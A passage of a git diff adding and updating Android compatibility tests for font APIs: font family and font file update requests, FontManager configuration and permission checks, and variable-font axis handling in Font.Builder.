@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static android.graphics.fonts.FontStyle.FONT_SLANT_ITALIC;
+import static android.graphics.fonts.FontStyle.FONT_SLANT_UPRIGHT;
+import static android.graphics.fonts.FontStyle.FONT_WEIGHT_NORMAL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.ParcelFileDescriptor;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class FontFamilyUpdateRequestTest {
+
+    @Test
+    public void font() {
+        String postScriptName = "Test";
+        FontStyle style = new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT);
+        List<FontVariationAxis> axes = Arrays.asList(
+                new FontVariationAxis("wght", 100f),
+                new FontVariationAxis("wdth", 100f));
+        FontFamilyUpdateRequest.Font font = new FontFamilyUpdateRequest.Font(
+                postScriptName, style, axes);
+        assertThat(font.getPostScriptName()).isEqualTo(postScriptName);
+        assertThat(font.getStyle()).isEqualTo(style);
+        assertThat(font.getAxes()).containsExactlyElementsIn(axes).inOrder();
+
+        // Invalid parameters
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font(null, style, axes));
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.Font("", style, axes));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font(postScriptName, null, axes));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font(postScriptName, style, null));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font(postScriptName, style,
+                        Collections.singletonList(null)));
+    }
+
+    @Test
+    public void fontFamily() {
+        String name = "test";
+        List<FontFamilyUpdateRequest.Font> fonts = Arrays.asList(
+                new FontFamilyUpdateRequest.Font("Test",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT),
+                        Collections.emptyList()),
+                new FontFamilyUpdateRequest.Font("Test",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_ITALIC),
+                        Collections.emptyList()));
+        FontFamilyUpdateRequest.FontFamily fontFamily = new FontFamilyUpdateRequest.FontFamily(
+                name, fonts);
+        assertThat(fontFamily.getName()).isEqualTo(name);
+        assertThat(fontFamily.getFonts()).containsExactlyElementsIn(fonts).inOrder();
+
+        // Invalid parameters
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily(null, fonts));
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily("", fonts));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily(name, null));
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily(name, Collections.emptyList()));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily(name, Collections.singletonList(null)));
+    }
+
+    @Test
+    public void fontFamilyUpdateRequest() throws Exception {
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] signature = new byte[256];
+        FontFileUpdateRequest fontFileUpdateRequest = new FontFileUpdateRequest(pfd, signature);
+
+        List<FontFamilyUpdateRequest.Font> fonts = Arrays.asList(
+                new FontFamilyUpdateRequest.Font("Roboto-Regular",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT),
+                        Collections.emptyList()),
+                new FontFamilyUpdateRequest.Font("Roboto-Regular",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_ITALIC),
+                        Collections.emptyList()));
+        FontFamilyUpdateRequest.FontFamily fontFamily1 = new FontFamilyUpdateRequest.FontFamily(
+                "test-roboto1", fonts);
+        FontFamilyUpdateRequest.FontFamily fontFamily2 = new FontFamilyUpdateRequest.FontFamily(
+                "test-roboto2", fonts);
+
+        FontFamilyUpdateRequest request = new FontFamilyUpdateRequest.Builder()
+                .addFontFileUpdateRequest(fontFileUpdateRequest)
+                .addFontFamily(fontFamily1)
+                .addFontFamily(fontFamily2)
+                .build();
+        assertThat(request.getFontFileUpdateRequests())
+                .containsExactly(fontFileUpdateRequest);
+        assertThat(request.getFontFamilies()).containsExactly(fontFamily1, fontFamily2).inOrder();
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java
new file mode 100644
index 0000000..38bda20
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.ParcelFileDescriptor;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.Random;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class FontFileUpdateRequestTest {
+
+    @Test
+    public void construct() throws Exception {
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] signature = new byte[256];
+        new Random(0).nextBytes(signature);
+
+        FontFileUpdateRequest request = new FontFileUpdateRequest(pfd, signature);
+        assertThat(request.getParcelFileDescriptor()).isEqualTo(pfd);
+        assertThat(request.getSignature()).isEqualTo(signature);
+
+        assertThrows(NullPointerException.class, () -> new FontFileUpdateRequest(null, signature));
+        assertThrows(NullPointerException.class, () -> new FontFileUpdateRequest(pfd, null));
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
new file mode 100644
index 0000000..45d5a09
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static android.graphics.fonts.FontStyle.FONT_SLANT_UPRIGHT;
+import static android.graphics.fonts.FontStyle.FONT_WEIGHT_NORMAL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.text.FontConfig;
+import android.text.TextUtils;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontManagerTest {
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    private HashSet<String> getFallbackNameSet(FontConfig config) {
+        HashSet<String> fallbackNames = new HashSet<>();
+        List<FontConfig.FontFamily> families = config.getFontFamilies();
+        assertThat(families).isNotEmpty();
+        for (FontConfig.FontFamily family : families) {
+            if (family.getName() != null) {
+                fallbackNames.add(family.getName());
+            }
+        }
+        return fallbackNames;
+    }
+
+    @Test
+    public void fontManager_getFontConfig_checkFamilies() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        FontConfig config = fm.getFontConfig();
+        // To expect name availability, collect all fallback names.
+        Set<String> fallbackNames = getFallbackNameSet(config);
+
+        List<FontConfig.FontFamily> families = config.getFontFamilies();
+        assertThat(families).isNotEmpty();
+
+        for (FontConfig.FontFamily family : families) {
+            assertThat(family.getFontList()).isNotEmpty();
+
+            if (family.getName() != null) {
+                assertThat(family.getName()).isNotEmpty();
+            }
+
+            assertThat(family.getLocaleList()).isNotNull();
+            assertThat(family.getVariant()).isAtLeast(0);
+            assertThat(family.getVariant()).isAtMost(2);
+
+            List<FontConfig.Font> fonts = family.getFontList();
+            for (FontConfig.Font font : fonts) {
+                // Provided font files must be readable.
+                assertThat(font.getFile().canRead()).isTrue();
+
+                assertThat(font.getTtcIndex()).isAtLeast(0);
+                assertThat(font.getFontVariationSettings()).isNotNull();
+                assertThat(font.getStyle()).isNotNull();
+                if (font.getFontFamilyName() != null) {
+                    assertThat(font.getFontFamilyName()).isIn(fallbackNames);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void fontManager_getFontConfig_checkAlias() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        FontConfig config = fm.getFontConfig();
+        assertThat(config).isNotNull();
+        // To expect name availability, collect all fallback names.
+        Set<String> fallbackNames = getFallbackNameSet(config);
+
+        List<FontConfig.Alias> aliases = config.getAliases();
+        assertThat(aliases).isNotEmpty();
+        for (FontConfig.Alias alias : aliases) {
+            assertThat(alias.getName()).isNotEmpty();
+            assertThat(alias.getOriginal()).isNotEmpty();
+            assertThat(alias.getWeight()).isAtLeast(0);
+            assertThat(alias.getWeight()).isAtMost(1000);
+
+            // The alias must be in the existing fallback names
+            assertThat(alias.getOriginal()).isIn(fallbackNames);
+        }
+    }
+
+    private List<String> readAll(InputStream is) throws IOException {
+        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+        ArrayList<String> out = new ArrayList<>();
+        String line = "";
+        while ((line = reader.readLine()) != null) {
+            String trimmed = line.trim();
+            if (!TextUtils.isEmpty(trimmed)) {
+                out.add(trimmed);
+            }
+        }
+        return out;
+    }
+
+    private void assertSecurityException(String command) throws Exception {
+        Process proc = Runtime.getRuntime().exec(new String[] { "cmd", "font", command });
+
+        // The shell command must not success.
+        assertThat(proc.waitFor()).isNotEqualTo(0);
+
+        // In case of calling from unauthorized UID, must not output anything.
+        assertThat(readAll(proc.getInputStream())).isEmpty();
+
+        // Any shell command is not allowed. Output error message and exit immediately.
+        List<String> errors = readAll(proc.getErrorStream());
+        assertThat(errors).isNotEmpty();
+        assertThat(errors.get(0)).isEqualTo("Only shell or root user can execute font command.");
+    }
+
+    @Test
+    public void fontManager_shellCommandPermissionTest() throws Exception {
+        assertSecurityException("");
+        assertSecurityException("update");
+        assertSecurityException("clear");
+        assertSecurityException("status");
+        assertSecurityException("random_string");
+    }
+
+    @Test
+    public void fontManager_updateFontFile_negativeBaseVersion() throws Exception {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+
+        try {
+            fm.updateFontFile(new FontFileUpdateRequest(pfd, new byte[256]), -1);
+            fail("IllegalArgumentException is expected.");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void fontManager_updateFontFile_permissionEnforce() throws Exception {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] randomSignature = new byte[256];
+
+        try {
+            fm.updateFontFile(new FontFileUpdateRequest(pfd, randomSignature),
+                    fm.getFontConfig().getConfigVersion());
+            fail("SecurityException is expected.");
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void fontManager_updateFontFamily_negativeBaseVersion() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        try {
+            fm.updateFontFamily(new FontFamilyUpdateRequest.Builder()
+                    .addFontFamily(new FontFamilyUpdateRequest.FontFamily("test", Arrays.asList(
+                            new FontFamilyUpdateRequest.Font(
+                                    "Roboto-Regular",
+                                    new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT),
+                                    Collections.emptyList()))))
+                    .build(), -1);
+            fail("IllegalArgumentException is expected.");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+    }
+
+
+    @Test
+    public void fontManager_updateFontFamily_permissionEnforce() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        try {
+            fm.updateFontFamily(new FontFamilyUpdateRequest.Builder()
+                    .addFontFamily(new FontFamilyUpdateRequest.FontFamily("test", Arrays.asList(
+                            new FontFamilyUpdateRequest.Font(
+                                    "Roboto-Regular",
+                                    new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT),
+                                    Collections.emptyList()))))
+                    .build(), fm.getFontConfig().getConfigVersion());
+            fail("SecurityException is expected.");
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    // TODO: Add more tests once we sign test fonts.
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
index 951cea6..412cc1f 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
@@ -16,8 +16,11 @@
 
 package android.graphics.fonts;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -26,7 +29,12 @@
 import android.content.res.AssetManager;
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
+import android.graphics.Paint;
+import android.graphics.RectF;
+import android.graphics.Typeface;
 import android.graphics.cts.R;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
 import android.os.ParcelFileDescriptor;
 import android.util.Log;
 import android.util.Pair;
@@ -122,6 +130,24 @@
         }
     }
 
+    private void assertAxesEquals(String msg, FontVariationAxis[] left, FontVariationAxis[] right) {
+        if (left == right) {
+            return;
+        }
+
+        if (left == null) {
+            assertWithMessage(msg).that(right).isEmpty();
+        } else if (right == null) {
+            assertWithMessage(msg).that(left).isEmpty();
+        } else {
+            assertWithMessage(msg).that(left).isEqualTo(right);
+        }
+    }
+
+    private void assertNullOrEmpty(String msg, FontVariationAxis[] actual) {
+        assertWithMessage(msg).that(actual == null || actual.length == 0).isTrue();
+    }
+
     @Test
     public void testBuilder_buffer() throws IOException {
         AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
@@ -137,7 +163,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -159,7 +185,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, ttcIndex, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -182,7 +208,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertEquals(path, axes, font.getAxes());
+            assertAxesEquals(path, axes, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -204,7 +230,7 @@
             assertEquals(path, customWeight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -220,7 +246,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -255,7 +281,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -282,7 +308,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, ttcIndex, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -310,7 +336,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertEquals(path, axes, font.getAxes());
+                assertAxesEquals(path, axes, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -337,7 +363,7 @@
                 assertEquals(path, customWeight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -357,7 +383,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -397,7 +423,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -427,7 +453,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, ttcIndex, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -459,7 +485,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertEquals(path, axes, font.getAxes());
+                    assertAxesEquals(path, axes, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -489,7 +515,7 @@
                     assertEquals(path, customWeight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -514,7 +540,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -545,7 +571,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -578,7 +604,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, ttcIndex, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -612,7 +638,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertEquals(path, axes, font.getAxes());
+                    assertAxesEquals(path, axes, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -645,7 +671,7 @@
                     assertEquals(path, customWeight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -671,7 +697,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -736,7 +762,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -756,7 +782,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, ttcIndex, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -777,7 +803,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertEquals(path, axes, font.getAxes());
+            assertAxesEquals(path, axes, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -797,7 +823,7 @@
             assertEquals(path, customWeight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -810,7 +836,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -841,7 +867,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -861,7 +887,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, ttcIndex, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -882,7 +908,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertEquals("ResId=#" + resId, axes, font.getAxes());
+            assertAxesEquals("ResId=#" + resId, axes, font.getAxes());
             assertNotNull("ResId=#" + font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -902,7 +928,7 @@
             assertEquals("ResId=#" + resId, customWeight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -917,7 +943,7 @@
             assertEquals("ResId=#" + resId, FontStyle.FONT_SLANT_ITALIC,
                     font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
             assertNotNull("ResId=#" + resId, font.getBuffer());
             assertNull("ResId=#" + resId, font.getFile());
         }
@@ -1000,4 +1026,187 @@
         final Resources res = InstrumentationRegistry.getTargetContext().getResources();
         new Font.Builder(res, R.font.ascii).setWeight(FontStyle.FONT_WEIGHT_MIN - 1).build();
     }
+
+    @Test
+    public void builder_with_font_with_axis() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        // WeightEqualsEmVariableFont adjust glyph advance as follows
+        //  glyph advance = 'wght' value / 1000
+        // Thus, by setting text size to 1000px, the glyph advance will equals to passed wght value.
+        Font baseFont = new Font.Builder(assets, "fonts/var_fonts/WeightEqualsEmVariableFont.ttf")
+                .build();
+
+        FontStyle style = new FontStyle(123, FontStyle.FONT_SLANT_ITALIC);
+
+        for (int weight = 50; weight < 1000; weight += 50) {
+            Font clonedFont = new Font.Builder(baseFont)
+                    .setWeight(style.getWeight())
+                    .setSlant(style.getSlant())
+                    .setFontVariationSettings("'wght' " + weight)
+                    .build();
+
+            // New font should have the same style passed.
+            assertEquals(style.getWeight(), clonedFont.getStyle().getWeight());
+            assertEquals(style.getSlant(), clonedFont.getStyle().getSlant());
+
+            Paint p = new Paint();
+            p.setTextSize(1000);  // make 1em = 1000px = weight
+            p.setTypeface(new Typeface.CustomFallbackBuilder(
+                    new FontFamily.Builder(clonedFont).build()
+            ).build());
+            assertEquals(weight, p.measureText("a"), 0);
+
+        }
+    }
+
+    @Test
+    public void builder_with_explicit_style() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font baseFont = new Font.Builder(assets, "fonts/others/samplefont.ttf").build();
+        FontStyle style = new FontStyle(123, FontStyle.FONT_SLANT_ITALIC);
+        Font clonedFont = new Font.Builder(baseFont)
+                .setWeight(style.getWeight())
+                .setSlant(style.getSlant())
+                .build();
+
+        assertEquals(style.getWeight(), clonedFont.getStyle().getWeight());
+        assertEquals(style.getSlant(), clonedFont.getStyle().getSlant());
+    }
+
+    @Test
+    public void builder_style_resolve_default() throws IOException {
+        AssetManager assets = InstrumentationRegistry.getTargetContext().getAssets();
+
+        Font baseFont = new Font.Builder(assets,
+                "fonts/family_selection/ttf/ascii_l3em_weight600_italic.ttf").build();
+        Font clonedFont = new Font.Builder(baseFont).build();
+
+        assertEquals(600, clonedFont.getStyle().getWeight());
